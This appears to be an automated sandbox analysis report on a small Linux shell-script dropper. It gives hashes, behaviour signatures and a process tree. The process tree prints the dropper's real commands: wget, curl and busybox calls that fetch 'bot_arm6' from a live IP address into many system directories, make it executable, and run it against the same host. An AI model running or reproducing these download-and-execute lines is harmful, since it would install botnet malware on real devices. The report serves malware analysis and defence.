11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/07/2026, 07:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
Size 630B
Sample260705-jmaagsaz41
SHA256 11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6
MD5 07222bbf7182faf773a04254186b7ba5
SHA1 e88399ad4629eb666b651159a9484c3625755c5c
SHA512 2601c7fa1b2bcf8899562dc26a0da79a9693bb6a61e0e8126add572307306decc0cd993d0d5da447a51522a95ed1b11ba831995665c11bd8897e2d9276a7e07f
TLSH
T183F0F9E1B9379C7E768A8924F21EF4CEE8C694EF9025F86CA24A4C204B4821C500C715
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 64 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
850	chmod
879	chmod
1061	chmod
1094	chmod
1278	chmod
1308	chmod
739	chmod
885	chmod
911	chmod
1177	chmod
1189	chmod
1242	chmod
1030	chmod
1064	chmod
1170	chmod
946	chmod
1024	chmod
1067	chmod
1139	chmod
1266	chmod
770	chmod
873	chmod
1048	chmod
1162	chmod
1238	chmod
1282	chmod
1380	chmod
982	chmod
1337	chmod
750	chmod
966	chmod
1118	chmod
1249	chmod
1361	chmod
766	chmod
1074	chmod
1090	chmod
1130	chmod
1312	chmod
950	chmod
1148	chmod
1262	chmod
926	chmod
942	chmod
1018	chmod
1106	chmod
1223	chmod
1289	chmod
1374	chmod
1098	chmod
1102	chmod
1174	chmod
1258	chmod
1304	chmod
1331	chmod
817	chmod
994	chmod
1033	chmod
1270	chmod
934	chmod
988	chmod
1027	chmod
1114	chmod
1404	chmod

Executes dropped EXE 64 IoCs

ioc	pid	Process
/tmp/bot	682	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	690	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	699	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	715	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	727	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	740	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	751	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	755	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	759	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	763	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	767	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	771	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	780	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	792	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	801	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	835	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	839	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	843	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	847	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	851	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	855	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	915	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	919	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	923	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	927	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	931	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	935	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	939	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	943	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	947	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	951	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	955	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	959	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	963	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	967	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	971	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	995	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	999	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1003	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1007	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1011	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1015	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1071	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1075	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1079	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	1083	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	1087	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/var/tmp/bot	1091	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	1095	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	1099	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/dev/shm/bot	1103	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1107	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1111	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1115	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	1119	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	1123	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/mnt/bot	1127	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1149	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1154	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/root/bot	1159	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1163	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1167	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/home/bot	1171	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/bot	1227	11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh

Checks CPU configuration 1 TTPs 60 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to shm directory 15 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	wget
File opened for modification	/dev/shm/bot	busybox
File opened for modification	/dev/shm/bot	curl
File opened for modification	/dev/shm/bot	wget

Writes file to tmp directory 43 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	curl
File opened for modification	/tmp/bot	busybox
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget
File opened for modification	/tmp/bot	wget

/tmp/11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
/tmp/11af36dc7172a2e183ca5bc4dab9adb8e581b6ab3544bedafe98917e9a05acf6.sh
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:646
- /bin/chmod
  chmod +x bot
  2⤵
  PID:671
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -obot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod +x bot
  2⤵
  PID:675
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -Obot
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod +x bot
  2⤵
  PID:678
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:681
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:682
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:688
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:691
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:690
- /bin/chmod
  chmod +x /tmp/bot
  2⤵
  PID:697
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:700
- /tmp/bot
  /tmp/bot 152.70.4.175 3434
  2⤵
  PID:699
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:713
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/var/tmp/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:716
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:715
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  PID:725
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/var/tmp/bot
  2⤵
  PID:728
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:727
- /bin/chmod
  chmod +x /var/tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:741
- /var/tmp/bot
  /var/tmp/bot 152.70.4.175 3434
  2⤵
  PID:740
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/dev/shm/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to shm directory
  PID:752
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:751
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:754
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/dev/shm/bot
  2⤵
  - Writes file to shm directory
  PID:756
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:755
- /bin/chmod
  chmod +x /dev/shm/bot
  2⤵
  PID:758
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:760
- /dev/shm/bot
  /dev/shm/bot 152.70.4.175 3434
  2⤵
  PID:759
- /bin/chmod
  chmod +x ./bot
  2⤵
  PID:762
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o./bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:763
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O./bot
  2⤵
  - Writes file to tmp directory
  PID:768
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:767
- /bin/chmod
  chmod +x ./bot
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:772
- /tmp/bot
  ./bot 152.70.4.175 3434
  2⤵
  PID:771
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:778
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/mnt/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:781
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:780
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:790
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:792
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/mnt/bot
  2⤵
  PID:793
- /bin/chmod
  chmod +x /mnt/bot
  2⤵
  PID:799
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:802
- /mnt/bot
  /mnt/bot 152.70.4.175 3434
  2⤵
  PID:801
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:806
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/data/bot
  2⤵
  - Checks CPU configuration
  PID:808
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:807
- /bin/chmod
  chmod +x /data/bot
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/data/bot
  2⤵
  PID:819
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:818
- /bin/chmod
  chmod +x /data/bot
  2⤵
  PID:822
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:824
- /data/bot
  /data/bot 152.70.4.175 3434
  2⤵
  PID:823
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:825
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/cache/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:827
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:826
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:828
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/cache/bot
  2⤵
  PID:830
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:829
- /bin/chmod
  chmod +x /cache/bot
  2⤵
  PID:831
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:833
- /cache/bot
  /cache/bot 152.70.4.175 3434
  2⤵
  PID:832
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:834
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/root/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:836
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:835
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:838
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/root/bot
  2⤵
  PID:840
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:839
- /bin/chmod
  chmod +x /root/bot
  2⤵
  PID:842
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:844
- /root/bot
  /root/bot 152.70.4.175 3434
  2⤵
  PID:843
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:846
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/home/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:848
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:847
- /bin/chmod
  chmod +x /home/bot
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/home/bot
  2⤵
  PID:852
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:851
- /bin/chmod
  chmod +x /home/bot
  2⤵
  PID:854
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:856
- /home/bot
  /home/bot 152.70.4.175 3434
  2⤵
  PID:855
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:858
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/storage/bot
  2⤵
  - Checks CPU configuration
  PID:860
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:859
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:861
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/storage/bot
  2⤵
  PID:863
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:862
- /bin/chmod
  chmod +x /storage/bot
  2⤵
  PID:864
- /storage/bot
  /storage/bot 152.70.4.175 3434
  2⤵
  PID:865
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:866
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:867
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/sdcard/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:869
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:868
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  PID:870
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/sdcard/bot
  2⤵
  PID:872
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:871
- /bin/chmod
  chmod +x /sdcard/bot
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:875
- /sdcard/bot
  /sdcard/bot 152.70.4.175 3434
  2⤵
  PID:874
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:876
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/system/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:878
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:877
- /bin/chmod
  chmod +x /system/bot
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/system/bot
  2⤵
  PID:881
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:880
- /bin/chmod
  chmod +x /system/bot
  2⤵
  PID:882
- /usr/bin/wget
  wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:884
- /system/bot
  /system/bot 152.70.4.175 3434
  2⤵
  PID:883
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /usr/bin/curl
  curl -s http://152.70.4.175:5555/bot_arm6 -o/vendor/bot
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:887
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:886
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:888
- /bin/busybox
  busybox wget http://152.70.4.175:5555/bot_arm6 -O/vendor/bot
  2⤵
  PID:890
- /vendor/bot
  /vendor/bot 152.70.4.175 3434
  2⤵
  PID:889
- /bin/chmod
  chmod +x /vendor/bot
  2⤵
  PID:891
- /bin/sleep
  sleep 30
  2⤵
  PID:893
- /vendor/bot
